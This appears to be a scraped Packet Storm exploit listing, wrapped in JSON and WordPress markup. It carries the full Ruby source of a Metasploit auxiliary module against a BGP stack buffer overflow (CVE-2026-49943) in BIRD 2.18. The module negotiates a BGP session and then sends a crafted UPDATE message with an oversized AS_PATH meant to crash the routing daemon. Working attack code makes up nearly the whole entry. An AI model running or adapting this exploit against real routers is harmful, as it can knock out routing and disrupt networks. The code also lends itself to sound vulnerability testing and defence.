{“lastseen”:”2026-06-12T16:00:20″,”description”:”This Metasploit auxiliary module is designed to assess a vulnerability in the BGP implementation of the BIRD Internet Routing Daemon. The module establishes a BGP session with a target router, performs standard protocol negotiation, and then sends a…”,”published”:”2026-06-12T00:00:00″,”modified”:”2026-06-12T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 BIRD 2.18 Stack Buffer Overflow \/ Denial of Service Scanner”,”source”:””,”references”:””,”id”:”PACKETSTORM:223315″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-49943″],”sourceData”:”==================================================================================================================================\\n | # Title : BIRD 2.18 BGP Daemon AS_PATH Stack Buffer Overflow Denial of Service Scanner |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 151.0.3 (64 bits) |\\n | # Vendor : https:\/\/bird.nic.cz\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : This Metasploit auxiliary module is designed to assess a vulnerability in the BGP implementation of the BIRD Internet Routing Daemon(CVE-2026-49943). \\n The module establishes a BGP session with a target router, performs standard protocol negotiation, and then sends a specially \\n \\t\\t\\t\\t crafted BGP UPDATE message containing an excessively large AS_PATH attribute.\\n \\n \\n [+] POC : \\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Exploit::Remote::Tcp\\n include Msf::Auxiliary::Scanner\\n include Msf::Auxiliary::Report\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘BIRD BGP Daemon AS_PATH Memory Corruption DoS’,\\n ‘Description’ =\\u003e %q{\\n This module tests a denial of service vulnerability in the BIRD Internet\\n Routing Daemon (BGP implementation). The module sends a crafted BGP UPDATE\\n message containing an oversized AS_PATH attribute designed to test bounds\\n handling in the daemon’s path attribute parser. A successful vulnerability\\n trigger results in a daemon crash or session reset.\\n },\\n ‘Author’ =\\u003e [‘indoushka’],\\n ‘References’ =\\u003e [\\n [ ‘CVE’, ‘CVE-2026-49943’ ], \\n [ ‘URL’, ‘https:\/\/bird.network.cz\/’ ]\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Actions’ =\\u003e [\\n [ ‘Dos’, { ‘Description’ =\\u003e ‘Trigger denial of service or validation testing’ } ]\\n ],\\n ‘DefaultAction’ =\\u003e ‘Dos’,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [ OS_FLAKY ], \\n ‘Reliability’ =\\u003e [], \\n ‘SideEffects’ =\\u003e [ IOC_IN_LOGS ]\\n }\\n )\\n )\\n register_options(\\n [\\n Opt::RPORT(179),\\n OptString.new(‘ROUTER_ID’, [ true, ‘BGP Router ID (IPv4 format)’, ‘1.1.1.1’ ]),\\n OptInt.new(‘LOCAL_AS’, [ true, ‘Local AS Number’, 65000 ]),\\n OptString.new(‘ATTACKER_IP’, [ true, ‘Attacker IP address for NEXT_HOP attribute’, ‘192.0.2.1’ ])\\n ])\\n end\\n def validate_inputs\\n begin\\n Rex::Socket.addr_aton(datastore[‘ROUTER_ID’])\\n rescue Rex::RuntimeError, ::ArgumentError\\n fail_with(Failure::BadConfig, \\”Invalid ROUTER_ID format: #{datastore[‘ROUTER_ID’]}. Must be a valid IPv4 address.\\”)\\n end\\n begin\\n Rex::Socket.addr_aton(datastore[‘ATTACKER_IP’])\\n rescue Rex::RuntimeError, ::ArgumentError\\n fail_with(Failure::BadConfig, \\”Invalid ATTACKER_IP format: #{datastore[‘ATTACKER_IP’]}. Must be a valid IPv4 address.\\”)\\n end\\n if datastore[‘LOCAL_AS’] \\u003c 0 || datastore[‘LOCAL_AS’] \\u003e 4294967295\\n fail_with(Failure::BadConfig, \\”LOCAL_AS must be a valid 16-bit or 32-bit unsigned integer.\\”)\\n end\\n end\\n def build_bgp_open(local_as, router_id)\\n cap_mp = \\”\\\\x01\\\\x04\\\\x00\\\\x01\\\\x00\\\\x01\\”\\n as_bytes = [local_as].pack(‘N’)\\n cap_as4 = \\”\\\\x41\\\\x04\\” + as_bytes\\n cap_ext = \\”\\\\x06\\\\x00\\”\\n caps = cap_mp + cap_as4 + cap_ext\\n opt_params = [2, caps.length].pack(‘CC’) + caps\\n router_id_bytes = Rex::Socket.addr_aton(router_id)\\n base_as = local_as \\u003e 65535 ? 23456 : local_as\\n open_body = [\\n 4, \\n base_as, \\n 180, \\n router_id_bytes.unpack(‘N’)[0], \\n opt_params.length \\n ].pack(‘CnnNC’) + opt_params\\n marker = \\”\\\\xFF\\” * 16\\n bgp_open = marker + [19 + open_body.length, 1].pack(‘nC’) + open_body\\n bgp_open\\n end\\n def build_bgp_keepalive\\n marker = \\”\\\\xFF\\” * 16\\n keepalive = marker + [19, 4].pack(‘nC’)\\n keepalive\\n end\\n def build_malicious_update(attacker_ip)\\n attr_origin = \\”\\\\x40\\\\x01\\\\x01\\\\x00\\”\\n nh_bytes = Rex::Socket.addr_aton(attacker_ip)\\n attr_nexthop = [0x40, 3, 4].pack(‘CCC’) + nh_bytes\\n as_segment = \\”\\\\x02\\\\xff\\” + ([0x0000FDE8].pack(‘N’) * 255)\\n as_path_data = as_segment * 3 # 3 * 1022 = 3066 \u0628\u0627\u064a\u062a (\u0636\u0645\u0646 \u0627\u0644\u0646\u0637\u0627\u0642 \u0627\u0644\u0642\u0627\u0646\u0648\u0646\u064a \u0644\u0640 BGP \u0627\u0644\u0642\u064a\u0627\u0633\u064a)\\n attr_aspath = [0x50, 2, as_path_data.length].pack(‘CCn’) + as_path_data\\n total_path_attrs = attr_origin + attr_nexthop + attr_aspath\\n if total_path_attrs.length \\u003e 65535\\n fail_with(Failure::Unknown, \\”Generated path attributes length (#{total_path_attrs.length}) exceeds 16-bit boundary.\\”)\\n end\\n nlri = \\”\\\\x18\\\\x0a\\\\x00\\\\x00\\” \\n update_body = [\\n 0, \\n total_path_attrs.length \\n ].pack(‘nn’) + total_path_attrs + nlri\\n \\n marker = \\”\\\\xFF\\” * 16\\n bgp_update = marker + [19 + update_body.length, 2].pack(‘nC’) + update_body\\n bgp_update\\n end\\n def parse_bgp_message(data)\\n return { type: :invalid, reason: ‘Empty response’ } if data.nil? || data.length \\u003c 19\\n marker = data[0..15]\\n if marker != \\”\\\\xFF\\” * 16\\n return { type: :invalid, reason: ‘Missing or corrupt BGP marker’ }\\n end\\n length = data[16..17].unpack(‘n’)[0]\\n msg_type = data[18].ord\\n case msg_type\\n when 1\\n return { type: :open, length: length }\\n when 3\\n error_code = data[19] ? data[19].ord : 0\\n error_sub = data[20] ? data[20].ord : 0\\n return { type: :notification, code: error_code, subcode: error_sub }\\n when 4\\n return { type: :keepalive }\\n else\\n return { type: :unknown, code: msg_type }\\n end\\n end\\n def run_host(ip)\\n validate_inputs\\n print_status(\\”Connecting to target BGP peer at #{ip}:#{rport}\\”)\\n begin\\n connect\\n print_good(\\”TCP connection established successfully\\”)\\n open_msg = build_bgp_open(datastore[‘LOCAL_AS’], datastore[‘ROUTER_ID’])\\n sock.put(open_msg)\\n print_status(\\”Sent BGP OPEN message (Formatted safely as CnnNC)\\”)\\n begin\\n response = sock.get_once(-1, 5)\\n parsed = parse_bgp_message(response)\\n case parsed[:type]\\n when :open\\n print_good(\\”Received valid BGP OPEN from peer – Negotiation parameters accepted\\”)\\n when :notification\\n print_error(\\”Target rejected connection with BGP NOTIFICATION [Code: #{parsed[:code]}, Subcode: #{parsed[:subcode]}]\\”)\\n return\\n when :invalid\\n print_error(\\”Invalid packet signature received: #{parsed[:reason]}\\”)\\n return\\n else\\n print_warning(\\”Received unexpected BGP packet type: #{parsed[:type] || ‘Unknown’}\\”)\\n end\\n rescue ::Timeout::Error\\n print_error(\\”Timeout reached while waiting for peer BGP OPEN verification.\\”)\\n return\\n end\\n sock.put(build_bgp_keepalive)\\n print_status(\\”Sent BGP KEEPALIVE acknowledgement\\”)\\n malicious_update = build_malicious_update(datastore[‘ATTACKER_IP’])\\n sock.put(malicious_update)\\n print_status(\\”Sent structured UPDATE payload (Length: #{malicious_update.length} bytes). Monitoring session state…\\”)\\n ready = ::IO.select([sock], nil, nil, 3)\\n if ready\\n final_res = sock.get_once(-1, 1) rescue nil\\n if final_res\\n parsed_final = parse_bgp_message(final_res)\\n if parsed_final[:type] == :notification\\n print_status(\\”Target gracefully closed the session with BGP NOTIFICATION (Standard behavior for parsing errors).\\”)\\n return\\n end\\n end\\n print_warning(\\”Target remained connected or closed session normally. Test complete with no immediate crash visible.\\”)\\n else\\n print_status(\\”No data received within timeout period. Target likely dropped the packet or processing.\\”)\\n end\\n rescue ::Errno::ECONNRESET, ::EOFError\\n print_good(\\”Connection reset or abruptly closed by remote peer. Target service may have restarted or dropped the session context.\\”)\\n report_vuln({\\n host: ip,\\n port: rport,\\n proto: ‘tcp’,\\n name: ‘BIRD BGP Daemon AS_PATH Vulnerability Testing’,\\n refs: references\\n })\\n rescue ::Errno::ECONNREFUSED\\n print_error(\\”Connection refused – Destination port #{rport} is closed or protected by a firewall\/ACL.\\”)\\n rescue ::Errno::ETIMEDOUT, ::Timeout::Error\\n print_error(\\”Network connection timed out during operations.\\”)\\n rescue =\\u003e e\\n print_error(\\”Runtime exception encountered: #{e.class} – #{e.message}\\”)\\n ensure\\n disconnect if sock\\n end\\n end\\n end\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/223315″,”cvss”:{“score”:6.3,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:N\/I:N\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/223315\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-12T16:00:20″,”description”:”This Metasploit auxiliary module is designed to assess a vulnerability in the BGP implementation of the BIRD Internet Routing Daemon. The module establishes a BGP…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,23,12,21,13,53,7,11,5],"class_list":["post-62286","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-63","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n